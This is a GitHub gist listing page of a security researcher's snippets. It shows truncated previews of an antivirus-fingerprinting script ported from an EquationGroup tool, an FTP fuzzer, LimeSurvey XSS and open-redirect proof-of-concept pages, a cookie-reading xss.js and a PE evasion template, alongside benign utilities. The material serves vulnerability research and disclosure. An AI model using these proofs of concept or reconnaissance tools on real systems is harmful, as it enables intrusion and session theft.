Skip to content

Instantly share code, notes, and snippets.

View marpie's full-sized avatar

Markus Piéton marpie

View GitHub Profile
@marpie
marpie / parseMIPSpdf.py
Created May 11, 2019 09:57
Uses PyPDF2 to parse the MIPS Architecture manuals and creates Ghidra compatible idx entries.
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" parseMIPSpdf.py
Uses PyPDF2 to parse the MIPS Instruction documentation and creates
a Ghidra compatible idx.
PDF Sources:
https://s3-eu-west-1.amazonaws.com/downloads-mips/documents/MD00087-2B-MIPS64BIS-AFP-6.06.pdf
@marpie
marpie / smb4av.py
Created April 9, 2019 15:42
Determine the AV product by ncacn_np (Python port of EquationGroup - Namedpipetouch)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" smb4av.py
smb4av uses NamedPipe calls to determine
the running AntiVirus of the target.
Credits: @EquationGroup @ShadowBrokers
Author: marpie ([email protected])
@marpie
marpie / clean_bndb.py
Created January 31, 2019 10:55 — forked from 0x1F9F1/clean_bndb.py
import sqlite3
import contextlib
import os
import sys
def clean_binja_snapshots(conn, limit = 1):
with conn as cur:
for section in [ 'snapshot', 'file_data' ]:
cur.execute(f'DELETE FROM {section} WHERE id NOT IN (SELECT id FROM {section} ORDER BY id DESC LIMIT ?)', (limit,))
@marpie
marpie / keybase.md
Created October 5, 2017 06:01

Keybase proof

I hereby claim:

  • I am marpie on github.
  • I am marpie (https://keybase.io/marpie) on keybase.
  • I have a public key ASDMPdUbr0Dy9WjOZfqFtSGOWakasogF2SwZxpv14XMv6wo

To claim this, I am signing this object:

@marpie
marpie / boofuzz-freefloatftp-simple.py
Created October 9, 2016 18:26
#!/usr/bin/env python
import sys
import time
from boofuzz import \
pedrpc, \
s_binary, \
s_block_end, \
s_block_start, \
s_delim, \
@marpie
marpie / xss-reload.html
Created September 4, 2012 17:09
[LimeSurvey] XSS injection in the function to reload a saved survey
<html>
<head><title>poc: XSS Injection (reload saved survey)</title></head>
<body>
<img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
<script>
function done() {
document.forms["xssme"].submit();
}
</script>
<form id="xssme" action="https://limesurvey/index.php" method="POST">
@marpie
marpie / arbitrary-redirect.html
Created September 4, 2012 17:06
[LimeSurvey] Arbitrary URL redirect
<html>
<head><title>poc: Arbitrary URL redirect (move=clearall)</title></head>
<body>
<img src="https://limesurvey/index.php?sid=51928" border=0 onerror="done();">
<script>
function done() {
window.location = "https://limesurvey/index.php?sid=51928&move=clearall&lang=de&redirect=http://www.google.de";
}
</script>
</body>
@marpie
marpie / phpinfo.php
Created September 3, 2012 07:53
phpinfo
<?php
phpinfo();
?>
@marpie
marpie / xss.js
Created June 25, 2012 10:19
xss.js
document.write ("This is remote text via JavaScript located at github.com: Cookie: " + document.cookie);
alert ("This is remote text via JavaScript located at github.com: Cookie: " + document.cookie);
@marpie
marpie / peEvade.py
Created June 1, 2012 07:37
PE file format parsing *incomplete*
#!/usr/bin/env python
# -*- coding: utf-8 -*-
""" peEvade
TEMPLATE Description
Author: marpie ([email protected])
Last Update: 20120531
Created: 20120530